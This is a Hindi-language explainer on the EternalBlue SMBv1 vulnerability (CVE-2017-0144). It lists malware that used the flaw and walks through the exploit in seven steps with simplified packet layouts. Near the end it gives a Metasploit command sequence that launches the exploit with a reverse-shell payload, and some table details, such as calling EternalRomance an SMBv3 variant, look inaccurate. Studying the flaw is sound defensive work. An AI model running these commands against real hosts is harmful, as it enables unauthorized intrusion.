🌐 CVE-2017-0144 — EternalBlue: Microsoft Windows SMBv1 रिमोट कोड निष्पादन भेद्यता

"एक एक्सप्लॉइट। दर्जनों मैलवेयर परिवार। अरबों का नुकसान।"

---

🔍 एक-पंक्ति सारांश

CVE-2017-0144 Microsoft Windows में SMBv1 सर्वर कार्यान्वयन में एक गंभीर रिमोट कोड-निष्पादन भेद्यता है। EternalBlue के रूप में जाना जाने वाला एक्सप्लॉइट इस छेद का दुरुपयोग करता था और इसका उपयोग उच्च-प्रभाव वाले हमलों (विशेष रूप से WannaCry) में किया गया था।

---

🔥 EternalBlue का उपयोग करने वाले शीर्ष 10 मैलवेयर (विस्तृत)

#	मैलवेयर	प्रकार	पहली बार देखा गया	हमलावर	क्षति	नोट्स
1	WannaCry	रैंसमवेयर	12 मई, 2017	लाज़रस ग्रुप (DPRK)	$4–8B	किलस्विच: iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com
2	NotPetya	वाइपर (रैंसमवेयर के रूप में प्रस्तुत)	27 जून, 2017	सैंडवॉर्म (रूस)	$10B+	Mimikatz + EternalBlue + PSEXEC का उपयोग किया
3	Bad Rabbit	रैंसमवेयर	24 अक्टूबर, 2017	इंद्रिक स्पाइडर	क्षेत्रीय	नकली Flash अपडेट ड्राइव-बाय
4	Uiwix	रैंसमवेयर	मई 2017	अज्ञात	कम	कोई किलस्विच नहीं, WannaCry से अधिक गुप्त
5	EternalRocks	वर्म	मई 2017	अज्ञात	मध्यम	7 NSA उपकरण (DoublePulsar सहित)
6	Adylkuzz	क्रिप्टोमाइनर	मई 2017	अज्ञात	उच्च (मौन)	WannaCry से पहले Monero माइन किया
7	Retefe	बैंकिंग ट्रोजन	2017–2018	अज्ञात	EU बैंक	पार्श्व संचलन के लिए EternalBlue का उपयोग किया
8	TrickBot	मॉड्यूलर मैलवेयर	2017–2021	विज़ार्ड स्पाइडर	वैश्विक	EternalBlue के माध्यम से Ryuk ड्रॉप किया
9	Emotet	लोडर	2017–2021	TA542	वैश्विक	Cobalt Strike के लिए प्रवेश के रूप में उपयोग किया गया
10	Clop / Dridex	रैंसमवेयर	2019–2025	TA505	स्वास्थ्य सेवा, सरकार	2025 में अभी भी सक्रिय

---

🧨 EternalBlue एक्सप्लॉइट विकास

उपकरण	रिलीज़	विशेषताएँ
EternalBlue (मूल)	अप्रैल 2017 (Shadow Brokers)	SMBv1 RCE
DoublePulsar	अप्रैल 2017	बैकडोर इम्प्लांट (ring0)
EternalRomance	अप्रैल 2017	SMBv3 वेरिएंट
EternalChampion	अप्रैल 2017	वैकल्पिक SMB पथ
Metasploit मॉड्यूल	मई 2017	exploit/windows/smb/ms17_010_eternalblue
FuzzBunch	अप्रैल 2017	NSA एक्सप्लॉइट फ्रेमवर्क
Impacket + PSEXEC	2017–2025	Python SMB शोषण

---

🔍 CVE-2017-0144 (EternalBlue) का शोषण कैसे किया गया

SMBv1 RCE में एक चरण-दर-चरण तकनीकी गहन विश्लेषण

"एक विकृत पैकेट। पूर्ण SYSTEM पहुंच। कोई लॉगिन नहीं। कोई क्लिक नहीं।"

---

🎯 TL;DR एक्सप्लॉइट प्रवाह

[Attacker] 
   │
   ├──▶ Sends crafted SMBv1 **Trans2** request
   │       → Triggers **heap overflow** in `srv!SrvOS2FeaListSizeToNt`
   │
   ├──▶ Overwrites function pointers → **kernel shellcode**
   │
   └──▶ Executes **DoublePulsar** backdoor → **Ring-0 payload**
           (e.g., WannaCry `mssecsvc.exe`)

---

🛠️ शोषण के लिए पूर्वापेक्षाएँ

आवश्यकता	विवरण
लक्ष्य	SMBv1 सक्षम के साथ Windows (पूर्व-Win10 डिफ़ॉल्ट)
खुला पोर्ट	445/TCP (या NetBIOS के माध्यम से 139/TCP)
कोई प्रमाणीकरण नहीं	अप्रमाणित — कोई उपयोगकर्ता नाम/पासवर्ड आवश्यक नहीं
आर्किटेक्चर	x86 या x64 (दोनों समर्थित)
पैच स्थिति	अनपैच्ड (पूर्व-MS17-010)

---

🚀 एक्सप्लॉइट चरण (7 चरण)

चरण 1: SMB प्रोटोकॉल संधि

SMB_COM_NEGOTIATE → Client sends dialect list
Server responds: SMBv1 supported → Proceed

क्यों? पुष्टि करता है कि SMBv1 सक्रिय है।

---

चरण 2: IPC$ से ट्री कनेक्ट

\\TARGET\IPC$ → Anonymous share for SMB pipes

उद्देश्य: लेनदेन अनुरोध भेजने के लिए एक सत्र स्थापित करता है।

---

चरण 3: Trans2 सत्र सेटअप (प्राथमिक)

• SMB_COM_TRANSACTION2 (0x32) का उपयोग करता है
• उप-आदेश: SESSION_SETUP
• विकृत आकार के साथ FEALIST संरचना सेट करता है

FEALIST {
    SizeOfListInBytes = 0xFFFF (or large value)
    ...
}

बग ट्रिगर: SrvOS2FeaListSizeToNt() बिना सीमा जांच के इस आकार पर भरोसा करता है।

---

चरण 4: द्वितीयक Trans2 अनुरोध (ओवरफ्लो)

• कई द्वितीयक पैकेट भेजता है
• प्रत्येक में अत्यधिक बड़ा FEALIST + FEA (फ़ाइल विस्तारित विशेषताएँ) होता है

FEA {
    AttributeNameLength = 0x00
    AttributeName = "A" * 0x1000  → Overflow buffer
}

हीप स्प्रे: मेमोरी लेआउट को नियंत्रित करने के लिए बड़े हिस्से आवंटित करता है।

---

चरण 5: कर्नेल में बफर ओवरफ्लो

srv!SrvOS2FeaListSizeToNt(
    PFEALIST FeaList,      // attacker-controlled
    PULONG pNtFeaListSize  // output pointer
)
{
    // No validation of FeaList->SizeOfListInBytes
    memcpy(dest, src, FeaList->SizeOfListInBytes);  // BOOM
}

परिणाम:

• हीप ओवरफ्लो → आसन्न कर्नेल ऑब्जेक्ट अधिलेखित करता है
• लक्ष्य: SRVNET_BUFFER या POOL_HEADER
• फ़ंक्शन पॉइंटर्स अधिलेखित करें (जैसे, Free रूटीन)

---

चरण 6: कर्नेल शेलकोड निष्पादन

• हमलावर अधिलेखित फ़ंक्शन पॉइंटर के माध्यम से RIP/EIP नियंत्रित करता है
• गैर-पृष्ठित पूल में शेलकोड पर कूदता है

शेलकोड यह करता है:

1. Ring-0 → Ring-3 संक्रमण (KeUserModeCallback के माध्यम से)
2. उपयोगकर्ता-मोड मेमोरी आवंटित करता है
3. पेलोड डाउनलोड/स्टेज करता है (जैसे, mssecsvc.exe)
4. DoublePulsar बैकडोर स्थापित करता है

---

चरण 7: DoublePulsar बैकडोर इम्प्लांट

• कर्नेल ड्राइवर इंजेक्ट करता है (0x00120034 XOR कुंजी)
• मैजिक SMB पैकेट सुनता है:
  • Ping: 0x0002C001
  • Exec: 0x0002C002 + पेलोड

WannaCry उदाहरण:

EternalBlue → DoublePulsar → mssecsvc.exe → tasksche.exe → Encrypts files

---

🧨 एक्सप्लॉइट पैकेट संरचना (सरलीकृत)

SMB Header
└── Command: 0x32 (TRANSACTION2)
    └── Setup: 0x000E (SESSION_SETUP)
        └── Parameter: TotalDataCount = 0x1000
            └── Data: 
                [FEALIST]
                  SizeOfListInBytes = 0x1100
                  [FEA #1] NameLen=0, Name="A"*0x1000
                  [FEA #2] ...
                [GROOM x100] → Spray heap
                [OVERFLOW] → Overwrite pool
                [SHELLCODE] → x64 ring0

---

🛠️ वास्तविक एक्सप्लॉइट उपकरण

उपकरण	भाषा	मॉड्यूल
Metasploit	Ruby	exploit/windows/smb/ms17_010_eternalblue
Impacket	Python	smbclient.py, psexec.py
FuzzBunch	Python (NSA)	EternalBlue-2.2.0
कस्टम C2	C/C++	WannaCry, NotPetya

Metasploit उदाहरण

use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.1.100
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.10
exploit

---

🔬 मेमोरी फोरेंसिक साक्ष्य